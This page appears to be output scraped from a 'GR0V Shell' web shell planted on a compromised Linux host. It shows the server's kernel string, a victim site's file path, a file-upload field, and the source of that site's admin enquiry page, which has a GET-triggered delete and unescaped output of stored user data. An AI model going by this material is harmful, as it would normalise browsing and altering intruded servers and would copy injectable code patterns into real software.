? GR0V Shell

GR0V shell

Linux node1.dnscloudserver.in 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64

Path : /home/yogsadhna/public_html/admin/
File Upload :
Current File : /home/yogsadhna/public_html/admin/enquiry.php

<?php
include('includes/connection.php');
include('includes/allfunction.php');

include('includes/auth.php');

error_reporting(0);



if(isset($_GET['delid']))
{
	$delresult=deletedata('enquiry',$_GET['delid']);
	header('location:enquiry');
}

?>


<!DOCTYPE html>
<html lang="en">
  <head>
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <title>All Enquiry</title>
    <!-- plugins:css -->
	
    <?php include_once('includes/css.php'); ?>
	
  </head>
  <body>
    <div class="container-scroller">
      
      <!-- partial:partials/_navbar.html -->
      
     <?php include_once('includes/header.php'); ?>

      <!-- partial -->
      <div class="container-fluid page-body-wrapper">
        <!-- partial:partials/_sidebar.html -->
        
         <?php include_once('includes/sidebar.php'); ?>

        <!-- partial -->
        <div class="main-panel">
          <div class="content-wrapper">
           
            
           <div class="col-12 grid-margin stretch-card">
                <div class="card">
                  <div class="card-body">
                    <h4 class="card-title">All Enquiry</h4>
                    <p>
                    </p>
                    <table class="table table-hover">
                      <thead>
                        <tr>
                          <th>Sr.no</th>
                          <th>Nmae</th>
                          <th>Address</th>
                          <th>Mobile</th>
                          <th>Email</th>
                          <th>Message</th>
                          <th>Added Date</th>  
                          <th>Delete</th>
                        </tr>
                      </thead>
                      <tbody>

                     
<?php 
$i=1;
$result=fetchalldata('enquiry');
while($data=mysqli_fetch_array($result))

                        { ?>

                        <tr>
                          <td><?php echo $i; ?></td>

                          <td><?php echo $data['name'];?></td>
                          <td><?php echo $data['addredd'];?></td>
                          <td><?php echo $data['mobile'];?></td>
                          <td><?php echo $data['email'];?></td>
                          <td><?php echo $data['message'];?></td>

                          <td><?php echo $data['added_date'];?></td>

						 <td><a class="btn btn-danger btn-sm" href="enquiry?delid=<?php echo $data['id'];?>" onclick="return confirm('Do you want to delete this data')">Delete</a></td>
                        </tr>
                        
                        <?php $i++; } ?>

                      </tbody>
                    </table>

                  </div>
                </div>
              </div>
           
          </div>
          <!-- content-wrapper ends -->
          <!-- partial:partials/_footer.html -->

           <?php include_once('includes/footer.php'); ?>

          <!-- partial -->
        </div>
        <!-- main-panel ends -->
      </div>
      <!-- page-body-wrapper ends -->
    </div>
    <!-- container-scroller -->
    <!-- plugins:js -->
   
    <?php include_once('includes/script.php') ?>

    <!-- End custom js for this page -->
  </body>
</html>

T1KUS90T
  root-grov@65.21.25.53:~$